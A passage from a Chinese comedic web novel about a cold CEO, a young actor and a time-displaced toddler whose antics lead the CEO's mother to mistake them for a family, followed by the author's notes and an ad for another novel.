当然,崽很清楚,之前爸爸更是像对着手机发愁,但换个角度来说也的确是盯着屏幕看了很久。 崽子见陌生室友叔叔脸色越发暗淡,神色越发萎靡,立即再接再厉道:“爹地,快来接窝们叭~” 没曾想,对面却传来男人冷冰冰的回绝:“不。” 崽:??? 西奥多简直不敢相信,这世界上怎么会有这么差劲的爹地! 霍懿安不仅冷酷回绝,甚至话音未落就直接挂断了电话。 他自觉没有露出一丝端倪,但对面的霍云轻却略显诧异地挑起眉头:“你笑了?” 霍懿安看着即便服药后脸部颈部仍旧红了一大片,却还在顽固抵抗不肯离开蒿属花粉重灾区,也不肯就医的母亲,平静又无奈地否认:“是您病情加重眼花了。” “我这是呼吸道疾病,又不是眼病!你就是笑了,虽然幅度很浅……谁的电话让你这么开心?”霍云轻刚问完,就又猛咳嗽起来。 眼看着母亲病情逐步加重,对方却仍旧固执己见,哪怕不考虑他想遮掩崽子的存在,霍懿安也无法视而不见:“您要是再不回去,我现在就对外祖母和父亲发起视频通话。” 霍云轻又挣扎了片刻,但症状实在是较为严重,再是心不甘情不愿也得配合儿子为她安排机组人员和医疗团队。 前往机场的路上,霍云轻一副注意力完全被转移的模样,对着儿子仔细复盘起这一次到底是哪一环出现疏漏?还是她对蒿属花粉的过敏变得更严重了? 霍懿安难得耐心陪着母亲分析了一路,又亲自将母亲送上飞机,甚至难得孝顺承诺会替她向外祖母当面解释。 母亲一走,霍懿安心中的警报解除,突然觉得位处城郊机场的他,也不是不能顺路去郁明殊位于市中心的学校,将爸崽二人接回来。 霍懿安思绪电转一瞬,便觉得早上因母亲突至状况频出,郁明殊容易因语焉不详产生误会,再结合崽子传来的前线反馈,他自觉有必要立即接上爸崽说清原委。 这么想着,霍懿安便立即让司机调转了方向。 而另一边,被亲爹无情拒绝又冷酷挂断电话的崽儿,早已气成了小河豚,恨不能当场给自己换个亲爹。 西奥多鼓着小胖脸盯了陆小南半晌,脑中回忆起无数旧日画面,崽子还是暂时放弃了。 毕竟崽子还没搞懂为什么爸爸爹地以及秘书叔叔都变了,只能暂时先大崽不记小爹过! 看在以前超爱爸爸和宝宝的好爹地的份儿上,他西奥多愿意多给坏蛋臭叔叔爹一点机会,没错,只有一点! 想到这里,崽子相当隐忍又深沉地叹了口气,然后立即攥紧一双小拳头投入爸爸守卫战中。 郁明殊正向陆小南做出解释,崽子口中的“拔拔”和“爹地”都是乱叫的,请陆小南不要误会。 然而陆小南脸色刚放松下来,崽子就一脸哀怨地开口:“宝米有乱叫,拔拔就是拔拔,爹地就是爹地……” 不等郁明殊再开口,崽子已经眨巴着湿漉漉的大眼睛望向他:“嘟嘟不是拔拔最爱的宝宝吗?” 郁明殊:“是,但我……” 崽子都学会抢答了:“里就是拔拔!” 小奶音陡然拔高,紧接着眼圈一红,晶莹剔透的小珍珠就冒了出来。 对于这个话题,郁明殊就一直没说赢过崽子,之所以放弃说清楚就是怕崽子真正的“拔拔”……郁明殊怀疑那位与他相似的亲人已经不在了,怕提起崽子的伤心事一直模糊处理。 之前舍不得说清楚,现在就更舍不得让崽为此掉小珍珠了。 郁明殊立即俯身抱起崽子轻哄:“好好好嘟嘟是爸爸最爱的宝宝,嘟嘟不哭好不好?” 崽子趴在郁明殊肩头,一边抽抽噎噎哼哼唧唧,一边偷瞄向不远处的陌生室友叔叔。 陆小南一脸的失魂落魄。 他本就是为了等郁明殊提前返校的,即便知晓网传的偶遇cp多半确有其事,但心里还是生出了几分不该有的期待。 陆小南出身差了些,家里不能给他带来什么助益,长相因未能等比例放大颜值远不及小时候,身高也才过一米七。 但他天赋不俗,还遇上了愿意捧他的伯乐经纪人,如今也算是同期一众童星里发展最好的一个。 虽然之前怕被连累,不敢跟郁明殊有什么接触,但只要再给他几年时间,他未必不能成为给郁明殊遮风挡雨的人。 没曾想他提前回宿舍,人是等到了,却意外获知了比网传cp更加难以转圜的糟糕情况,郁明殊不仅已有同性爱人,甚至两人还领养了酷似郁明殊的混血崽儿…… 陆小南心态崩了,抓起包转身就走。 郁明殊循声望去时,只剩被猛然摔上的门板。 他正感到莫名,怀中崽突然一哆嗦,紧接着拍了拍自己的小胸脯:“吓洗宝宝了……” 崽子熟练给陌生室友叔叔上眼药:“拔拔,介个嘘嘘,米有礼貌喔。”一边说着,还一边翘起白嫩的食指煞有介事地晃了晃。 郁明殊又被小家伙可爱到了:“这样确实不太好,小南叔叔应该是有什么急事。” 面对爸爸的挽尊,崽子嘟起小嘴熟练拉踩:“可宝再急都不会介样嘟~” “当然啦,嘟嘟是世界上最乖的宝宝对不对?” 一句话,轻松将警惕拉满的战斗崽夸美了,西奥多瞬间笑眯眼猛猛点头:“对嘟对嘟!~” 他就是什么都好!宝贝爸爸看人就是准! 郁明殊带崽收拾到一半,就接到了张秘书的最新通知——计划有变,他们今晚不仅可以回酒店住了,霍懿安还即将顺路来接他们。 郁明殊是搞不懂一点,但他现在对霍懿安神经但圣洁善良的品质相当信任,所以也没多询问便丝滑应下。 寝室内剩余的行李比郁明殊想象中还少,但霍懿安到来的速度比郁明殊收拾的速度更快。 得知霍懿安直接将车开到了宿舍楼的后门,郁明殊立即停止了陪崽小废话,加快手上动作。 不到十分钟,郁明殊便一手抱崽一手拎行李袋以最快速度跑到了楼下,果不其然看到了熟悉的凯洛斯蓝座驾。 虽然宿舍楼后门的小道平时人就少,但这车实在太惹眼,更别说车窗降下后,还露出一张更为惹眼的混血面庞。 男人因不耐而微蹙的眉头,在看到相当消瘦羸弱的郁明殊左手抱崽右手拎大包气喘吁吁跑出来后,顿时蹙得更紧了。 不顾本就横眉冷对一脸不满的崽子,霍懿安直接冷酷质问:“你装病的左脚还没好?” 崽子不久前刚被坏蛋臭叔叔爹气成河豚,还大崽不计小爹过完美达成爸爸保卫战,在崽看来臭爹地这会儿把他贡起来都不为过,结果竟被当面嘲讽。 小脑花瞬间充血,甚至顾不上要在爸爸面前装绝世乖宝,嗷的一嗓子飙出奶萌怒音:“里才装病,爹地系大坏蛋!!!” 霍懿安不仅没恼,反倒勾起一抹略带得色的冷笑,他看向将行李递给司机的郁明殊:“你也听到了,我说他左脚装病他没否认,但之前他栽赃我的明明是右脚,说明他根本是装的。” 不仅崽子惊到了,郁明殊都想扶额。 这种“正殿紫檀桌上从未放过什么琉璃花樽”的情节,为什么会出现在两岁半幼崽和他的精英霸总爹身上? 作者有话要说: 虽然咱们霍总没能追到老婆,但他也彻底失去了崽子呢[奶茶][奶茶][奶茶]机智的读者宝宝们应该看得出来,奶奶不是真走~ 第44章 对上男人冷肃而认真的表情,郁明殊无语了一瞬又一瞬,最后还是先替崽子解释道:“嘟嘟不想要我抱的,是怕您等久了,想着我抱着他跑下来能更快些。” 霍懿安就知道郁明殊对上崽子就会是非不分,再次模糊焦点,不过该说的他已经说了,也懒得和这对向来同流合污的爸崽较真。 看了眼气成小河豚的鼓脸崽子,霍懿安神色未变冷淡品评:“看来你对自己的体重还是有明确认知的。” 崽正在往后排中央的儿童安全座椅里爬,刚好面朝霍懿安,就这么被糟心亲爹嘲讽了一脸,差点将两岁半粉雕玉琢的精致小崽气成歪嘴龙崽。 一双漂亮的桃花眼瞪成铜铃,白嫩小手攥成一对钢铁坨子,西奥多差一点就当场大义灭亲,直接捣上坏蛋叔叔爹的臭嘴。 还是郁明殊等着上车,发现崽子爬到一半突然不动了探身查看:“嘟嘟怎么了?” 崽子歪掉的嘴角和垮掉的小脸才一秒切换成乖巧软糯的爱爸模式,奶萌萌转回头将小奶音夹出十个加号的甜度:“米有哇~” 说完立即提速,很快便坐进儿童座椅里,给郁明殊让出位置:“拔~拔~快~来!~” 霍懿安再次将崽子变脸的全程尽收眼底,自从梦到旧日记忆后,他越发觉得这崽的五官越看越像郁明殊小时候。 但今天细品一番,除了长相,这崽在其他方面和郁明殊完全南辕北辙,实在是个撒谎、爱演、双标、口蜜腹剑还不讲卫生的糟心崽儿。 霍懿安严重怀疑平行时空的两个家长,以及崽子多次提及的“奶奶”,对崽的教育都存在很大缺失,越是这样他越不能轻易将崽交到父母手里。 一方面,郁明殊和崽子的关系还未彻底斩断,更重要的是以他对母亲的了解,再结合崽子提起“奶奶”时的口吻,他的父母说不定会把这只能装会演的崽子宠成什么样。 虽然他一开始压根没打算培养什么继承崽,但意外遇上了也只能顺势而为。 他也一直是这么做的,不论是帮助郁明殊脱离泥潭,并投资、把握其事业发展,还是阻断一切母亲发现爸崽的可能,全都在他的掌控范围有条不紊地进行着。 想到这一点,霍懿安对崽子罄竹难书的糟心表现也能释然了。 尤其对上郁明殊温软乖顺的目光,他能感受到眼前人已经非常信赖自己。 霍懿安心情不自觉好了不少,再开口时神色都柔和了几分:“张秘书已经按合约为你找好了新住所,虽然是空置近两年的新房,但地下室氡气测定结果超标,需要再装一套氡气减排系统。” 作为一个大方的投资人,霍懿安为旗下艺人提供的新住所是环境堪比5A景区,且保密性极佳的低密度别墅区。 因长期严格的禁墅令,A市现在市面上的别墅几乎都是二手的,难得找到了一个各方面都不错的空置新房,地下室的氡气污染也不算什么大问题了,只不过需要多等一段时间加装排氡装置。 是以这话并非霍懿安临时编造的谎言,而是客观存在的情况,只不过是提前被霍懿安用来澄清母亲突然到访造成的误会。 郁明殊听到新住所,最新考虑的就是崽子的健康安全,听完自然连连点头应是。 原本听说是别墅已经受宠若惊,看向天使投资人的目光都冒光,等得知是A市大腕云集的紫山云邸,郁明殊都有些难以置信。 这种寸土寸金的地方,真是他能住的? “你不喜欢?”霍懿安一边盯视着他,一边面无表情问道。 郁明殊立即摆手表示:“不不不,我很喜欢,就是太贵了……” 霍懿安不以为意:“这不是你需要考虑的。” 思忖一瞬又额外补充一句:“紫山云邸也算不得什么,都是张秘书随便找的。” 男人的口气听起来实在太过平常,仿佛给他安排房子,不是什么一线大腕才会选择的顶级别墅区,而是再普通不过的平民小区。 可郁明殊点开张秘书传来的豪宅详情,却更觉得割裂了。 但一旁的崽子,和崽子右手边端坐的男人,这对大小金毛全都是一副稀疏平常的模样。 霍懿安甚至还皱眉点评了几句,大意是设计师有失水准,这种房子也只能给郁明殊这种不懂审美的人住住了。 郁明殊虽然十分无语,但还是把心放回肚子里了。 他不由想起之前在网上看到过相关讨论,普遍说法是富二代老板钱多事少不撕伞,从小被滋养大的没过过苦日子,给员工提供的福利待遇自然差不了。 郁明殊当时只是一听一乐,没想到还真让他遇上了。 甚至还不是普通富二代,而是有着神圣品质的超级富N代…… 可能对霍懿安来说紫山云邸只是普通小区,甚至还是装修得不怎么样的普通小区,真就是他所说的让张秘书随便安排的,算不得什么。 郁明殊只能试图理解,但还是觉得非常离谱。 一直到下车,他都在试图消化自己刚签约准备迈入娱乐圈,就即将住进紫山云邸,和一众名流大腕当邻居这一事实。 郁明殊沉浸在自己的世界,崽子没吵没闹牵着爸爸的手仰躺在安全座椅里,迷迷糊糊将睡未睡。 这个时间可以让崽先午睡一下,睡醒了再吃饭,所以车子停稳后,郁明殊就打算抱崽下车,让小家伙继续安睡。 结果他刚将崽子身上的五点式安全带解开,小家伙湛蓝的桃花眼就睁开了一半,迷迷糊糊看向一旁面无表情的冷脸大金毛。 睡迷糊的蓝眼小金毛细声细气开口:“爹地抱……” 难得崽子主动找爹,郁明殊见状自然立即收回了手。 很显然,这崽虽然平时跟“爹地”总是关系不佳,但潜意识里还是信赖对方的。 而霍懿安能让崽子攒下这份信任,肯定是在他没看到的时候,对崽子多有付出。 眼前男人不仅善良神圣如天使,还是个面冷心热的爱崽好“爹地”。 郁明殊见多了人面兽心的人渣,表面光风霁月,背地肮脏不堪,像霍懿安这般表面冷酷挑剔,实则善良温暖的“表里不一”实在是罕见又可贵。 思及此,郁明殊看向霍懿安的眼神中也充满了欣赏与期待。 实际上,霍懿安上次抱崽被尿了一身的记忆还深深烙印在他脑中,霍懿安打从心底不想抱这个不讲卫生的糟心崽儿。 但眼前这崽已经困成一坨了,再考虑到郁明殊纸片似的瘦弱身材,和扎实滚圆肉墩子似的胖崽,以及之前郁明殊抱崽跑了一会儿就气喘吁吁狼狈不堪。 霍懿安静默一瞬,还是在郁明殊期盼的目光中……“既然都睁眼了,不能自己走?” 郁明殊&崽:“………………” 西奥多小嘴一瘪,当即做出委屈抽噎状,郁明殊欣赏期待的眼神瞬间就变了,霍懿安没再犹豫,直接将哭唧唧的闹觉崽抱了起来。 郁明殊抱起来十分费力的胖宝宝,落进霍懿安怀里就是个精致小手办。 崽子翻身就埋进爹地怀里,亲亲热热地蹭了蹭,然后闭上眼舒舒服服睡了起来。 纵然霍懿安被糟心崽子坑了再多次,面对小家伙如此软糯可爱的一面,也不由神色缓和,步履越发沉稳。 郁明殊跟在男人身侧,看着如此和谐美好的画面,唇侧勾起浅淡的笑意。 他们很快走入电梯,霍懿安先是因郁明殊的靠近而闻到一股甜而不腻温润纯净的清甜香气,随后又透过镜面似的金属门板,看到崽子软软靠在他怀里安静酣睡,以及郁明殊投向他们的温柔目光和唇侧的柔软弧度。 突然侧目,两人的视线于镜中相交。 看得霍懿安莫名失神一瞬,直到心脏剧烈撞击胸腔,他才发现郁明殊已经先一步走出电梯,正手扶电梯门一脸探寻地等着他出来。 霍懿安忽略乱跳的心脏,若无其事迈出电梯。 虽然他很想快速离开爸崽,独自平复平行世界带来的干扰,但崽在他怀中已经睡成小香猪,他不得不跟随郁明殊回房放崽。 好在郁明殊进入套房主卧就直奔浴室而去,对霍懿安产生深深干扰的人和气味一并消失,霍懿安顿觉轻松不少,但视线却还是下意识追随,直到被浴室的门板隔绝。 心率失常的症状消失,但胸腔之中却莫名多了一丝烦闷。 霍懿安的注意力都集中在对抗这些古怪感知上,也就没注意在他俯身放崽时,怀中的小家伙不仅忽然睁开两道细缝,朝外的那只小手还快速从后腰插入裤子。 伴随着“噗”的一声闷响,崽子塞到小圆屁股后方的小手,已经以迅雷不及掩耳之势完成快速抓屁,下一瞬,一只白嫩但滂臭的小手就精准糊上了亲爹的鼻子。 “!!!!!!!” 霍懿安神色骤变,呕意奔涌,然而未等他做出明确反应,身后就传来一道意料之外的熟悉女声—— “懿安!这孩子是怎么回事???!!!!” 正是杀个回马枪,打算守株待“殊”的霍云轻。 第45章 别说霍懿安被猝不及防冒出的亲妈惊到了,霍云轻这个故意制造“惊喜”的当事人都被震惊住了。 她原本是想假装离开骗儿子放松警惕,再杀个回马枪抓他们个铁证如山。 没想到郁明殊没在床上……床上却有个跟她儿子同款金发碧眼的混血崽儿! 而霍云轻的惊问刚出口,郁明殊就推开浴室门走了出来。 浴室门正对卧房门,两人直接对了个正着,但郁明殊却根本来不及惊讶霍云轻的存在,注意力就瞬间被床上的父崽吸引走了—— 霍懿安一手按住崽子的一双小胳膊,一手掩面干呕:“哕——” “……呕!” “呕咳咳咳!!!” 本该乖巧安睡的崽子,双眼却睁得滚圆,努力挣扎连嘴努子周围都憋成粉红色。 但即便使出吃奶的力气,崽子仍旧丝毫逃不脱亲爹的桎梏,索性转为拼命蹬动一双小短腿,像条berber乱蹦的胖鲤鱼。 因着霍懿安像座小山一样将崽镇压在床上,也遮挡了崽子80%的视角,再加上霍懿安被崽子“投毒”呕咳个不停,是以他并没有立即发现霍云轻的存在,反而余光先瞥见爸爸来了。 崽立即换上了三分可怜、三分委屈、四分弱小无助的多层次复杂表情,小奶嗓如泣如诉:“拔拔…爹地欺虎宝呜呜……” 霍懿安气得眼珠子狂震,恨不能立即揭穿糟心崽子的虚伪假面,奈何实在太!臭!了! 他根本无法停止干呕,更不要说身后还有突然出现的母亲……霍懿安的人生从未遭遇过如此失控的局面。 而郁明殊这边虽然信任霍懿安的人品,但也知道父崽二人一直小矛盾不断,而且霍懿安和普通大人不同,他是真会跟小幼崽计较到底的。 郁明殊不知道他进浴室的短暂时间里,大小金毛之间又发生了什么,但见霍懿安强有力的大掌按着崽子一双稚嫩的小胳膊。 第一反应还是担心霍懿安手上失了分寸伤害到崽,所以他对着来人匆忙点头致意,就立即冲去解救委屈哀叫的可怜小崽。 好在霍懿安虽然气得青筋暴起,手臂肌肉偾起,一副变身超级赛亚人的模样,但实际上落在崽子身上的力道并不大,只是刚好能将小崽子固定住。 见郁明殊夺崽,他狠瞪了一眼还是边哕边松开了手。 崽子回到爸爸怀抱,正准备好好痛哭一场,在亲爹缓过来前给亲爹上足眼药。 结果他刚起了前调,就注意到了门口熟悉的“女性雕塑”。 “呜……奶奶!!!!!” “宝想洗里辣!!!!!” “奶奶终于来看宝辣!!!!!!” 这还是第一次在郁明殊抱崽的时候,感受到崽子挣扎着想要离开,但崽此刻光着脚,郁明殊担心将崽放到地上会凉到,就立即抱着崽走向门口。 霍云轻被叫得懵上加懵,视线在爸崽二人相似的五官上转来转去,嘴巴开开合合好半晌没发出明确声响。 她很想将儿子抓过来问清楚这到底怎么一回事,奈何儿子还在那边扶着床干呕,起不到一丁点作用。 是以当粉雕玉琢一口一个奶奶的小金毛崽崽向她扑去时,霍云轻还处于懵逼中。 但她还是下意识张开怀抱,跨越时间长河久违地抱住了与儿子小时候同款的金发碧眼崽。 不同于从小抗拒被抱、自主性极强,即便被抱也会将小身子挺得笔直,像根树桩子似的幼年霍懿安。 眼前这只不知从哪里冒出的金发碧眼崽,不仅香香软软还极为黏人,一扑进怀里就立即埋进她颈侧,亲昵地拱蹭起来。 期间软糯清甜的小奶音还一直持续着,就是咬字不清让人不好分辨,但嗲甜至极的“奶奶”两字她还是听得清的。 霍云轻虽然极为了解儿子,很清楚眼前这崽绝不可能是儿子瞒着她生的,但在这一瞬,她还是被一声声软乎乎甜糯糯的“奶奶”给叫恍惚了。 ——这就是她的宝贝小孙孙! 霍云轻瞬间从震惊过渡到狂喜,难怪儿子连一晚都等不了连夜跑回来了,原来不仅在这边藏了个美人,还藏了个乖崽啊! 等霍懿安总算从巨恶中缓过来时,霍云轻已经一手抱崽一手握着郁明殊,亲亲热热计划起日后将爸崽二人带回B国的美好生活。 仿佛三人并非初次相见,而是熟识已久。 不同于接受良好并热情回应的崽,郁明殊还是有些懵逼的。 虽然霍云轻画了“过敏妆”,退圈后也多年未出现在公众场合,但她不仅保养极佳,整个人仍保有年轻时的神采飞扬恣意不羁。 加上母子间的相似之处,以及崽子一口一个亲亲热热的奶奶,郁明殊不难认出来人正是霍懿安的母亲,霍云轻女士。 但问题是……为什么听起来他好像和霍懿安以及崽子成了一家三口? “妈!”呕到印堂发青的霍懿安,终于站出来打断了母亲的兴奋畅想,“stop!!” 他一把将崽子从亲妈怀里撕下来,犹如旱地拔葱,并且,不等小家伙呲牙或者假哭,就迅速将“葱”利落插回一旁的郁明殊怀里。 崽子小嘴刚咧开,不等吟唱,就发现自己回到了宝贝爸爸的怀抱,立即从咧嘴开嚎转为咧嘴甜笑:“呀!拔拔!~” 不等爸崽二人反应,霍懿安已经将亲妈带离现场。 就像霍云轻了解儿子一样,霍懿安虽然多数时间无法理解,但客观上还是很了解亲妈的。 所以在澄清关系之前,他需要将母亲带离干扰源崽子。 不过倒也没带远,就拉到了门口位置,房门也没关,他直接明确告知已经陷入幻想的母亲:“那不是我的孩子,郁明殊也不是我的伴侣,你清醒一下!” 霍云轻脸上如梦似幻的幸福笑容逐渐消失。 理智归拢,不需要儿子提醒,她也很清楚自己儿子是没那个本事给她造出小孙孙的。 毕竟好不容易找来的疑似未来儿媳妇的存在,也是个漂亮的男孩子。 “漏!!!”崽子立即震声反对。 而霍懿安之所以没走远关门就是防着崽子乱说,他一个箭步就闪回到爸崽身边,再次旱地拔葱般将崽子从郁明殊怀里薅出,并以迅雷不及掩耳之势将崽子带进了浴室。 随着门板被重重关上,霍懿安在崽子暴走前将崽精准拿捏:“我知道你不是普通小孩。” 发飙发到一半的崽子,久违听到亲爹说句人话,听起来还是要夸他的,崽子不由得停下乱抓乱蹬的四肢,挺直小腰板暂时安静下来,一脸警惕看向亲爹。 崽眯眼,示意对方要夸赶紧夸。 没曾想,爹不遂崽愿,再开口却是直戳肺管子:“你应该已经发现我和郁明殊,与你真正的爹地爸爸有着很大出入,包括你叫做奶奶的女人,也和之前你真正的奶奶不完全相同……” 虽然崽子的小脸越听越白,小表情更是逐渐变得憔悴破碎,霍懿安还是将残酷的现实说了出来:“这个世界并不是你原来的世界,虽然我们和你的亲人长相、身份相似,但我们并不是你真正的亲人。” 霍懿安原本没打算现在就让小崽子直面这些,但母亲突然出现,如果不说清楚,事情就会彻底失控。 而且就算他一早做好认养崽子的准备,也打算将这些真相告知。 他会成为这孩子的父亲,却不想覆盖另一个世界的自己的存在,他希望西奥多始终记得给予他生命的真正双亲。 霍懿安认为这是理所应当的事情,只不过预想中他会在斩断爸崽联系时再跟崽说清,眼下的确有些早了,但他霍懿安的儿子,必然是敢于直面任何挫折的勇气之子。 他正想鼓励两句:现实总是很残酷的,你也不小了,也该认识清楚…… 可见崽子亮晶晶的桃花眼失去光芒,整只崽仿佛呆住了般定在他怀里,唯一有变化的就是迅速湿红的眼眶,以及一颗颗晶莹剔透犹如断了线的珍珠般扑簌簌落下的金豆豆。 霍懿安心头无端一哽,越发觉得这崽实在酷似郁明殊,都十分擅长展露可怜模样让别人心疼。 男人不自觉伸手,想帮无声落泪的崽子拭去悲伤的泪水。 然而前一秒还失魂落魄的崽,却在霍懿安手指靠近的瞬间张开血盆小口精准咬上,并在同一时间挥舞起一双锋利小爪,对着亲爹的俊脸一顿刨花。 霍懿安一手抱崽,另一只手被崽咬住,压根无从反抗,就这么被崽子奇袭个正着。 等他将崽放到一旁的盥洗台上遏制住局面时,脸上已经多了数道血痕。 而明明受伤的是他,凶手崽子却仰起小脑袋哇哇哭得更伤心了,其间还穿插着“里胡说”“里说谎”“就系宝拔拔”等一系列含糊不清但极为响亮的奶音怒驳。 郁明殊听到崽子的哭声就立即敲门询问,得不到回应便直接旋开把手。 霍懿安没有锁门,郁明殊自然很快冲了进来。 郁明殊满心都是救崽,压根没注意到受伤害的另有其人,甚至连紧随其后的霍懿安亲妈,都没注意到他脸上全都是血道道。 虽然已经被儿子提醒过这不是她亲孙子,但霍云轻被崽哭得心都要碎了可顾不得太多:“宝宝怎么了!!” 况且她刚才已经问过郁明殊,这孩子也不是郁家的,她已经做好领养崽子的准备。 不是亲孙孙,也得变成真孙孙! 崽子伤心极了,埋进郁明殊怀里继续哇哇大哭。 霍云轻等在一旁心急火燎:“到底怎么了?是不是霍懿安那个臭小子弄疼你了?” 话音刚落,趴在郁明殊怀里哇哇大哭的崽子立即重重一应:“对嘟!呜哇哇哇——” 臭坏蛋弄疼他的小心心了! 霍云轻和郁明殊的目光顿时如飞镖般射向霍懿安,霍云轻皱眉质问:“懿安,宝宝还这么小,你怎么能动手呢?” 被崽抓伤,此刻脸疼非常的霍懿安:“…………?” 霍云轻满心都是嘤嘤痛哭的崽:“你瞪我干什么?难道连妈妈也要打?” 还是郁明殊先注意到霍懿安脸上的伤:“您的脸……” 霍懿安虽然脸疼得很,但也不能确定自己脸上是否留下明确痕迹,一听郁明殊提起才转向不远处的镜子,确认了左脸三道右脸四道一共七道清晰血痕。 霍懿安立即跟沉冤昭雪了般,指着自己的脸伤对母亲说道:“明明是他动手伤害我!” 崽子顿时哭得更响亮了,而他这次是真伤透了心,每一声奶音哀嚎都极为惹人怜惜,更别说霍云轻本就对崽一见如故,再见倾心,这会儿已经将崽当成了两人给他生的小孙孙。 即便崽子拔高哭音明显是为了掩盖罪行,霍云轻还是心疼不已。 一边是皮糙肉厚的冰山儿子较真指责,一边是粉雕玉琢惹人疼惜的乖宝崽子,霍云轻心中的天平更是偏得没边了,没忍住对着儿子啧了一声:“宝宝又不是故意的!” 霍懿安:“…………?” 这还是郁明殊第一次在霍懿安脸上看到黑人问号表情,但别说霍懿安了,郁明殊也觉得霍女士的确有失公允。 就连崽子都没绷住笑出声:“呜哇哇哈哈呜呜哇哇!!!”好在很快被崽用更高亢的哭声掩盖。 不过这般高爆发本就耗费体力,崽子哭了十几分钟也有些扛不住了,加上爸爸奶奶一直围着他哄,崽子的痛哭流涕逐渐转为委屈抽噎。 霍懿安顶着七道血痕,脸色冷沉,一副看透世事的寒凉表情。 要不是为了防止这崽胡说八道,他早就抬腿走人了。 正气不顺的时候,敲门声突然响起。 霍懿安语气极差:“进!” 张秘书还是清楚自家老板的狗脾气的,一听就知道这时候极容易被对方迁怒,奈何他之前发的数条消息对方都没有回复,而舆情处理讲究黄金四小时原则并且越早越好。 当他想来触这个霉头吗?有本事别绕半个城去“顺路”接人啊!有本事别被拍啊!! 张秘书心里骂骂咧咧,却只能硬着头皮走进来,并一脸谄笑地将平板递给男人:“霍总,您和郁先生在宿舍楼下被拍了。” 原本郁明殊和霍云轻在专注哄崽,闻言都凑了过来,就连抽噎个不停的崽子都按下了暂停键,好奇地抻头看过来:“……嘟嘟呢?” 嘟嘟有被拍到吗? 霍云轻更为干脆,直接将平板从儿子手里夺了过来,摆到新鲜出炉的宝贝小孙孙面前:“来,嘟嘟这么看舒服。” 哭得小脸湿漉漉红扑扑的崽,委屈巴巴点点头,顺着奶奶的动作跟爸爸奶奶一起看了起来。 被完全丢在一边的霍懿安:“……” 不同于只能关注自己是否入镜的文盲崽崽,霍云轻和郁明殊一眼就看到了屏幕上的耸动标题——《疑似郁明殊绯闻男友亲自来接,“一家三口”互动甜蜜“偶遇cp”如胶似漆》 照片是从郁明殊上车的一侧拍摄的,本就离霍懿安落座的位置最远,镜头先后对准崽子爬儿童座椅的小背影,以及郁明殊侧身入座的身影。 也不知是故意的还是刚好没拍到,唯二带到霍懿安的照片,最多也只拍到了男人的下巴位置,霍懿安就这么理所应当被误认成了郁明殊的绯闻男友欧洋。 仗着5.4的好视力,平板被拿远后霍懿安略挺直脊背,依旧能看个清楚。 原本就黑沉的脸色,看到自己不仅被当成欧洋,还被添油加醋地造谣了一番,霍懿安的脸色瞬间黑成了五彩斑斓。 不过这只是最开始的爆料帖,仅是这种程度自然无需张秘书着急,事实上很快便有明眼人发现不对,欧洋的肩膀可没有这么宽啊! 而且欧洋平时就经营自己的个人主页,时不时会分享一些日常和评论,所有人都能看到他最新ip定位不在A市,他早上也发过要去邻市开会的行程。 顿时一石激起千层浪,一时间各种疑问纷至沓来: 【搞了半天欧总真就只是个粉丝啊?郁明殊男友另有他人??】 【不是据估计前后砸了几千万么?结果就是粉丝??有钱人的世界都这么朴实无华的吗???】 【信欧洋是粉丝不如信我是秦始皇,那可是几千万真金白银!显然是趁欧洋不在郁明殊偷人了呗!】 评论风向从此开始一歪再歪,#郁明殊偷人#、#郁明殊出轨#、#欧洋千金买绿帽#等多个负面词条热度都在持续飙升。 即便张秘书一再花钱降热度,相关词条的讨论度依旧惊人,他才不得不找了过来。 霍懿安一目十行看得飞快,脸色也是从五彩斑斓的黑逐步往变异丧尸化方向迈进。 然而没等他发作,一旁的霍云轻先怒斥出声:“懿安!你也太不小心了!!” 霍懿安长眸微眯,看眼言者不善的亲妈,果不其然,紧随其后就是图穷匕见—— 霍云轻一把搂住抱崽的郁明殊:“小殊你放心,妈一定让懿安对你的名节负责到底!” 作者有话要说: 好消息,终于忙完回家啦!坏消息,甲流了() 近一个月,作者菌先是肌肉劳损犯了,翅尖疼得太厉害只能日三休养,治疗一周就明显好转,颈椎又开始晕,晕了几天三次元有事需要出趟远门,出门途中又遭遇了甲流,第一时间吃了速福达病情得到大幅压制,然后又有了支原体感染的症状……倒霉熊不是停播了吗?![小丑] 幸亏出门前攒了两章存稿,不然差点开天窗,现在已经不敢说什么雌起不雌起了[小丑][小丑][小丑] ps好多地方的流感情况都很凶猛,宝子们出门记得戴口罩做好预防~生病好难受啊,大家一定要健健康康!~[合十][合十][合十] 还有个好好笑的事,上一章崽子抓屁熏爹的片段被锁了四次[笑哭][笑哭][笑哭] 絮叨这么多再推本完结文叭[奶茶]◆《和死对头学神的崽穿来了》看名字就知道是同类型完结文啦~前一阵和基友讨论后才知道这类梗偏冷,但我超爱哈哈哈哈写了还想写,感兴趣的宝宝可以到专栏看一下[让我康康] [文案] 高三学霸班有一对死对头,一个是稳坐第一的学神陆时慎,一个是捐了两栋楼才挤进去当吊车尾的校霸江稚野。 两人打小认识,陆时慎这个“别人家的孩子”的名字每在江家出现一次,江稚野就要面临混合双打。 再加上江稚野看上的女孩无一例外都喜欢陆时慎,让江稚野单方面将陆时慎视作毕生死敌。 直到有一天,江稚野遇到一个和他长得很像的小男孩。 见到他一下就哭了,张口就叫爸爸。 江稚野摸了摸自己这张祖传俊脸,咬牙切齿:“老江的私生子是吧!” 没多久,“私生子弟弟”扑到陆时慎身上兴奋叫道:“大爸爸!” 江稚野:??? 江稚野抬手给了陆时慎一杵子:“让我弟管你叫爸?你们学习好的心真脏!” 陆时慎:“……” 后来,三人的亲子鉴定结果出来,江稚野傻了…… 谁能告诉他,十八岁的他怎么会有个七岁的崽?更离谱的是,竟还是他和陆时慎的?!!! 没人知道陆时慎不动如山的冰块外表下,不仅内心愕然,还暗松了口气。 * 再后来,江稚野发现这崽不仅长得像自己,连学渣属性都复制粘贴,一个在高中当吊车尾,一个在小学当吊车尾,属实子承父业了。 更要命的是,未来的自己还天天吹牛,自称从小是学霸,眼中无难题…… 江稚野的面子大过天,只能含泪狂补奥数课。 某天,江稚野等到好大儿睡着,就一个箭步往对面房间蹿。 却被房间主人伸手挡下,陆时慎面无表情看他。 片刻后,江稚野憋得双颊通红,啪叽一下,跟扇巴掌似的清脆响亮地在陆时慎脸上亲了一口:“行了吧!” 陆时慎长眸微垂:“这是封口费,补课费呢?” ◤阅读提示◢ 1.崽是攻受上辈子的【亲生崽】,这辈子不生啦,架空沙雕甜苏爽 2.攻受身心365度无死角双初恋,一家三口美美HE~ 第46章 霍云轻虽然无法理解霍懿安的诸多想法,但她和丈夫都还算了解这个一手带大的儿子。 